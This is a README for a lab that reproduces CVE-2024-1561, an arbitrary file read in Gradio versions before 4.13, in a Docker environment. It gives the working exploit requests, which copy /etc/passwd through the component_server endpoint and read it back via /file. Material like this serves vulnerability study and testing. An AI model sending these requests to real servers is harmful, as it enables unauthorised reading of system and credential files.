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63 lines
1.8 KiB
Markdown
63 lines
1.8 KiB
Markdown
# Gradio Arbitrary File Read (CVE-2024-1561)
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[中文版本(Chinese version)](README.zh-cn.md)
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Gradio is a Python library that enables users to rapidly build web-based interfaces for machine learning models without writing any front-end code.
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In Gradio versions prior to 4.13, the `component_server` endpoint allows attackers to invoke arbitrary methods of the `Component` class. By abusing the `move_resource_to_block_cache` method, an attacker can copy any file from the server to a temporary directory and then retrieve its contents, leading to arbitrary file read.
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References:
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- <https://github.com/gradio-app/gradio/pull/6884>
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- <https://nvd.nist.gov/vuln/detail/CVE-2024-1561>
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## Environment Setup
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Execute the following command to start an application written by Gradio 4.12.0:
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```
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docker compose up -d
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```
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After the environment is started, authentication is not enabled by default. You can access the application through `http://your-ip:7860`.
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## Vulnerability Reproduction
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First, access the `/config` endpoint to obtain a component's `id` value, such as `3`.
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```
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GET /config HTTP/1.1
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Host: 127.0.0.1:7860
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```
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Next, use the `move_resource_to_block_cache` method to copy `/etc/passwd` to a temporary directory. The response will include the temporary file path.
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```
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POST /component_server HTTP/1.1
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Host: 127.0.0.1:7860
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Content-Type: application/json
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{
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"component_id": "3",
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"data": "/etc/passwd",
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"fn_name": "move_resource_to_block_cache",
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"session_hash": "aaaaaaaaaaa"
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}
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```
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Finally, access the `/file` endpoint with the returned path to read the file content.
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```
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GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1
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Host: 127.0.0.1:7860
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```
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If successful, the contents of `/etc/passwd` will be displayed, demonstrating arbitrary file read.
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